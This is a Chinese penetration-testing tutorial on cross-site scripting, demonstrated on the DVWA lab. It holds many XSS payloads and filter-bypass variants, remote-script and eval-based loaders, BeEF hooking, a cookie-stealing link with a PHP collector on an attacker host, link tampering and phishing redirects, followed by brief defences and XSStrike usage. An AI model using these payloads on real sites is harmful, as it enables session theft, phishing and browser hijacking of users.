渗透测试之XSS(跨站脚本攻击)
文章目录
- XSS 漏洞概述
- XSS 分类
- XSS 危害
- XSS 漏洞的验证
- XSS 的构造
- XSS 的变形(绕过方式)
- Shellcode 的调用
- 远程调用JS
- windows.location.hash
- XSS Downloader
- 备选存储技术
- XSS 的应用
- 浏览器劫持
- beef 的安装与基本利用
- 利用存储型XSS 进行浏览器的劫持
- 固定会话攻击
- 盗取Cookie
- 篡改链接
- 钓鱼网站
- XSS 的防御
- 使用XSS Filter
- 设置httponly
- XSStrike工具
- 安装
- 使用
XSS 漏洞概述
XSS是OWASP TOP 10 之一。
XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。
XSS通过将精心构造的JS代码注入到网页(服务器上)中,并由浏览器(客户端)解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。所以说XSS是一种被动的攻击。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的攻击对象是用户和浏览器。
总结:XSS漏洞发生在服务器!需要被攻击者主动触发!
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。
也就是说攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
XSS 分类
- 反射型XSS(非持久性XSS)
这种攻击往往具有一次性。
反射型XSS是非持久性、参数型的跨站脚本。反射型XSS 的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。
输入js代码:<script>alert(document.cookie)</script>
来获取cookie值
- 存储型XSS(持久性XSS)
攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。
攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
- DOM型XSS
DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
DOM XSS比较特殊。owasp 关于DOM型XSS的定义是基于DOM的XSS是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM XSS比较难以检测。如下面的例子
DOM结构图:
在后面加上js代码就可以执行
改变了DOM树结构
XSS 危害
XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种:
- 盗取各种用户账号
- 窃取用户Cookie资料,冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
- …
XSS 漏洞的验证
我们可以用一段简单的代码,验证和检测XSS 漏洞的存在,这样的代码叫做PoC(Proof ofConcept)。
PoC:漏洞的验证和检测代码。
EXP:漏洞的完整利用工具。
shellcode:利用漏洞时所执行的代码。
payload:有效载荷
- 在sqlmap中:攻击代码的模板
- msf中:与shellcode类似,功能是建立与目标的连接
验证XSS 漏洞存在的PoC 如下:
<script>alert(/xss/)</script> 常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script "'Oonn> 看过滤了什么
我们发现,提交的代码<script>alert(/xss/)</script>
,被当作字符串输出在HTML页面中,浏览器会根据<script>
标签识别为JS
语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。
XSS 的构造
- 用[<>]构造HTML/JS
可以利用[<>]构造HTML标签和<script>
标签。
在测试页面提交参数<h1 style='color:red '>利用[<>]构造HTML/JS</h1>
提交<script>alert( /xss/ )</ script>
- 伪协议
也可以使用javascript:
伪协议的方式构造XSS
提交参数<a href="javascript:alert(/xss/ ) ">touch me!</a>
,
然后点击超链接,即可触发XSS。只在IE浏览器成功!
也可以使用img标签的伪协议<img src="javascript:alert( 'xss ')">
但是这种方法在有的浏览器好像不支持!只在IE6.0浏览器成功过! - 产生自己的事件
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS。
如:<img src='. / test.jpg' onmouseover='alert(/xss/)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
单行文本框的键盘点击事件:<input type="text" onkeydown="alert(/xss/)">
,当点击键盘任意一个按键的时候出发。
事件种类 | 介绍 |
---|---|
Windows事件 | 对Windows对象触发的事件 |
Form事件 | HTML表单内的动作触发的事件 |
Keyboard事件 | 键盘按键触发的事件 |
Mouse事件 | 由鼠标或类似用户动作触发的事件 |
Media事件 | 由多媒体触发的事件 |
- 其他标签以及手法(基于事件)
<svg onload="alert(/xsS/)">
H5的标签。
<input onfocus=alert( /xss/ ) autofocus>
自动聚焦,直接触发
XSS 的变形(绕过方式)
我们可以构造的XSS 代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种:
- 大小写转换
可以将payload 进行大小写转化。如下面两个例子:
<Img sRc='#' Onerror="alert(/xss/ )"/>
<a hREf="javaScript:alert(/xss/ )">click me</a>
- 引号的使用
HTML语言中对引号的使用不敏感,但是某些过滤函数是"锱铢必较”。
<img src="#"onerror="alert( /xsS/ )"/>
<img src='#' onerror='alert(/xss/ ) '/>
<img src=# onerror=alert( /xss/ ) />
- [/]代替空格
可以利用左斜线代替空格
<Img/ sRc='# '/0nerror='alert( /xss/)'/>
- 回车
我们可以在一些位置添加Tab (水平制表符)和回车符,来绕过关键字检测。
<Img/ sRc='#'/0nerror ='alert( /xss/)'/>
<A hREf="j ava sc ript:alert( /xss/ )">click me!</a>
- 对标签属性值进行转码
url编码:%+对应的ASCII码
html编码:&#+对应的十进制ASCII码或对应的Unicode编码,&#x+对应的十六进制ASCII码
JavaScript编码:\u后面加上4位的16进制数字或是\x后面加上2位的十六进制数字,不足位数的以0填充
可以对标签属性值进行转码,经过简单编码之后的样子。
<A hREf="javascript:alert(/xss/) ">click me!</a>
\\x+16进制转换成js能够识别的16进制码:\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\\u00+16进制转换成js能够识别的Unicode编码:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
将语句进行base64编码,使用函数atob解码,然后执行:eval(atob('YWxlcnQozG9jdW1lbnQuZG9tYWluKQ=='));
可以将以下字符插入到头部位置:SOH—
、STX—
- 拆分跨站(将一条js代码拆成好几条执行)
<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</ script>
- 双写绕过
例如:<scr<script>ipt>
- 利用CSS特性绕过
background:url("javascript:alert(document.domain);");
设置背景颜色,利用伪协议执行js。
利用css的注释/**/进行关键字过滤的绕过xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1,})
目前仅在IE8之前版本的浏览器(IE中还可以使用``
来进行闭合左边的双引号)中支持,其他浏览器不支持。
Shellcode 的调用
Shellcode 就是在利用漏洞所执行的代码。
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。
远程调用JS
可以将JS 代码单独放在一个JS 文件当中,然后通过HTTP 协议远程加载该脚本。如:<script src="http://IP/目录/xss.js"></script>
,这是比较常用的方式。xss.js 的内容如下:alert('xss.js');
特点:js 代码可以放在我们本地的服务器里,注入的时候不用再写一大堆代码了,只需要用链接即可
注意:使用http协议直接访问js 文件时会返回纯文本。
windows.location.hash
我们也可以使用js 中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL 中#后面的内容,例如:http:// domain.com/index.php#comeon
, windows.location.hash的值就是#comeon
所以我们可以构造如下代码:
?name=<script>eval(location.hash.substr(1))</script>#alert(/this is windows.location.hash/)
,直接提交到测试页面
XSS Downloader
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下:~~~BOF|alert(/xss/)|EOF~~~
常见的下载器如下:
<script>
function XSS() {if (window.XMLHttpRequest) {a = new XMLHttpRequest() ;}else if (window.ActiveXObject) {a = new ActiveXObject( "Microsoft.XMLHTTP");else {return;}a.open('get',' http://IP/目录/xss_downloader.php',false) ;a.send() ;b=a.responseText;eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS() ;
</script>
注意:Ajax 受同源策略的限制,为了解决这个问题,我们需要在服务端代码中加入几句代码:
<?php
header ('Access-Control-Allow-Origin: *') ;
header ('Access-Control-Allow-Headers: Origin, X-Requested-with, Content -Type,Accept') ;
?>
备选存储技术
我们可以把She llcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
在实战过程中,可以将自己的名字注册成xss 代码,别人一访问你的主页,主页肯定会打印你的名字然后就会执行这段js 代码。
XSS 的应用
浏览器劫持
beef 是一款XSS 漏洞的利用平台,是个XSS 神器。
我们要使用beef 来进行浏览器的劫持
beef 的安装与基本利用
由于最新版的kali好像没有自带这个软件,使用apt-get install beef-xss
命令进行安装
安装完成之后进入beef 的安装目录:/usr/share/beef-xss/
由于beef 的启动不让用默认的用户名和密码,会启动失败
所以我们要修改配置文件来更改用户名和密码,修改之前建议备份一个
修改完之后启动:beef-xss
或者是进入安装目录下执行./beef
启动之后会自动在浏览器打开控制界面
登录后台管理控制台:
启动之后会自动生成web 控制台:http://127.0.0.1:3000/ui/panel
以及Shellcode:<script src="http://127.0.0.1:3000/hook.js"></script>
里面包含了自动生成的钩子hook.js
只要谁运行了这段Shellcode,对应的网站就会被钩子钩住,然后出现在管理控制台中!
还有访问这个测试页面http://127.0.0.1:3000/demos/butcher/index.html
也会出现在管理控制台中
例如:我用本机来访问
查看控制台:
这时候浏览器已经被劫持了!我们可以使用命令来操控对方的浏览器:
例如:我们可以使用重定向命令让对方访问我们想要它访问的页面
注意:测试网页一退出就会直接下线,不能进行操作了
利用存储型XSS 进行浏览器的劫持
我们在DVWA 中打开存储型的XSS 输入Shellcode:
我们提交了之后会刷新页面,只要一刷新页面,js会立即执行,然后我们就被劫持了
在其他虚拟机里使用不同的账号访问同样的页面:
发现也会被劫持:
拿到cookie之后就可以实现cookie欺骗
固定会话攻击
我们可以在浏览器中写入cookie来绕过登录验证:
由于DVWA登录之后才能够使用,我们用其他浏览器直接访问XSS 漏洞页面会重定向到登陆界面
我们写入cookie
再进行访问:
盗取Cookie
存在反射型XSS 漏洞的站点可以利用以下链接来盗取Cookie
url?uname= <script>document.location=http://ip/cookie.php?cookie="+document. cookie: </script>
将链接发送给用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。
cookie.php代码:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);//将得到的cookie存储在文件中
?>
例:
用户直接访问http://192.168.35.129/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.35.129/xss_ test/cookie.php?cookie='+document.cookie</script>#
进行提交
会重定向到我们的页面:
查看截取到的cookie
截取到cookie之后,我们就可以使用它的身份来访问他的主页,上传webshell,提高权限。
篡改链接
window.onload
:当窗口加载时,会执行
使用for循环遍历所有获得的链接a标签:
<script>
window.onload = function(){var link = document.getElementsByTagName("a");for(var i = 0;i < link.length;i++){link[i].href = "http://....com";}
}
</script>
将篡改代码注入到对应的XSS 位置。
这里的url链接我们可以替换成我们想要增加流量的页面(例如:微博增加访问量)或是恶意链接。
钓鱼网站
使用setoolkit 工具克隆网站
输入y之后进入界面:
会有选项:我们先选择1,然后2,再是3,然后选择2就进入了克隆网站的功能,回车后输入要克隆的url
复制成功后我们进行访问:
我们在存储型的XSS 进行演示:
输入:<script>window.location="http://192.168.35.031"</script>
,直接重定向到我们自己的网站
用户在不知情的情况下进行了账户密码的提交(页面不会跳转会自动刷新),就会被我们看到:
XSS 的防御
使用XSS Filter
XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
- 输入过滤
"永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。- 输入验证
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。一般包括:
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E一mail地址、IP地址等。 - 数据消毒
过滤和净化掉有害的输入。
使用:
htmlspecialchars()函数进行字符串到实体的转换!
htmlentities()函数将一些特殊的字符转换为HTML实体,例如:<转换为$lt;
strip_tags()函数剥去字符串中的php、html、xml的标签,并且会剥离html的注释
- 输入验证
- 输出编码
HTML 编码主要是用对应的HTML 实体代替字符 - 黑白名单
不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
黑名单:不允许的数据
白名单:允许的数据
设置httponly
在设置cookie的时候,将secure 设置为true,就可以防止js 读取cookie值
setcookie(name,value,expire,path,domain,secure)
XSStrike工具
XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外XSstrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
项目地址:https://github.com/s0md3v/XSStrike
安装
由于XSStrike只可以运行在python 3.6以上版本,所以必须使用python3.6版本。
输入python3 来查看自己的版本(没安装的先安装):
然后安装pip:
然后将项目克隆到本地:
再安装requirements.txt里面要求的一些组件,不然会开启失败
再给执行权限:
这时候就可以通过执行这个py脚本来运行了(注意要用python3启动)
使用
我们先建立一个具有反射型XSS 漏洞的php脚本:
<html>
<?php
$n = $_GET['n'];
echo $n;
?>
</html>
这里加上html标签才能扫描成功,不知道为什么…
不加是这样的:
加了之后正常:
使用生成的payload去检测:
发现弹窗
渗透测试之XSS(跨站脚本攻击)相关推荐
- 渗透知识-XSS跨站脚本攻击
XSS跨站脚本攻击:两种情况.一种通过外部输入然后直接在浏览器端触发,即反射型XSS:还有一种则是先把利用代码保存在数据库或文件中,当web程序读取利用代码并输出在页面上时触发漏洞,即存储型XSS.D ...
- 网络安全与渗透:xss 跨站脚本攻击(十二)此生无悔入华夏,男儿何不带吴钩
中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...
- XSS(跨站脚本攻击)相关内容总结整理
XSS的攻击相关资料整理 文章目录 XSS的攻击相关资料整理 跨站脚本攻击(XSS) XSS 简介 XSS 危害 XSS 原理 XSS 分类 XSS 防御总结 XSS 问答 参考资料 跨站脚本攻击(X ...
- 安全漏洞中的倚天剑——XSS跨站脚本攻击
one.概念 XSS跨站脚本攻击(Cross-Site Scripting)就是网站将用户输入的内容输出到页面上,在这个过程中可能有恶意代码被浏览器执行,XSS属于被动式的攻击,因为其被动且不好利用, ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- XSS跨站脚本攻击原理与常见的脚本及《XSS跨站脚本攻击剖析与防御》摘录总结
XSS跨站脚本攻击原理与常见的脚本及<XSS跨站脚本攻击剖析与防御>摘录总结 一.XSS跨站脚本攻击的原理 1.什么是XSS跨站脚本 2.跨站脚本攻击产生因素 二.XSS跨站脚本攻击的类别 ...
- 小迪安全--xss跨站脚本攻击
xss跨站脚本攻击 xss原理 危害 pikachu靶场 反射型xss 存储型xss DOM型xss xss平台 cookie和session 利用cookie webshell箱子 xss常见位置 ...
- 全网最详细XSS跨站脚本攻击,不是过来打死我!!
XSS(跨站脚本攻击)详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, ...
- [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了Python弱口令攻击.自定义字典生成,并构建了Web目录扫描器:本文将 ...
最新文章
- springmvc教程--注解开发基础详解
- 使用java api操作HDFS文件
- anaconda怎么运行python程序_Anaconda安装指南(#x27;conda#x27; 不是内部或外部命令,也不是可运行的程序 或批处理文件)...
- Flex4_操作XML
- (16)python_random学习笔记
- 【Django 2021年最新版教程7】前端html接收后端传递的变量值 渲染
- vs工程生成自定义图标的exe
- DAOS 系统内部介绍(一)—— 概述
- 数据挖掘面试 150 道题(附答案)
- web快速入门之基础篇-js:3_3、简易购物车
- 人工神经网络实验项目:论文复现
- 数据挖掘Task 5: 模型融合
- 文本特征提取——one-hot
- 找女朋友2109(快排)
- 函数周期表丨INTERSECT
- is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for
- 也谈男士品牌(综合版)
- 数学物理方法·基础⑤复数序列
- 修改SpringBoot内置Tomcat的端口
- tightvnc viewer 传文件_丢掉U盘,TinyPXESever网络启动WinPE,TightVNC远程控制(无人值守)装系统(无显示器也可测试)...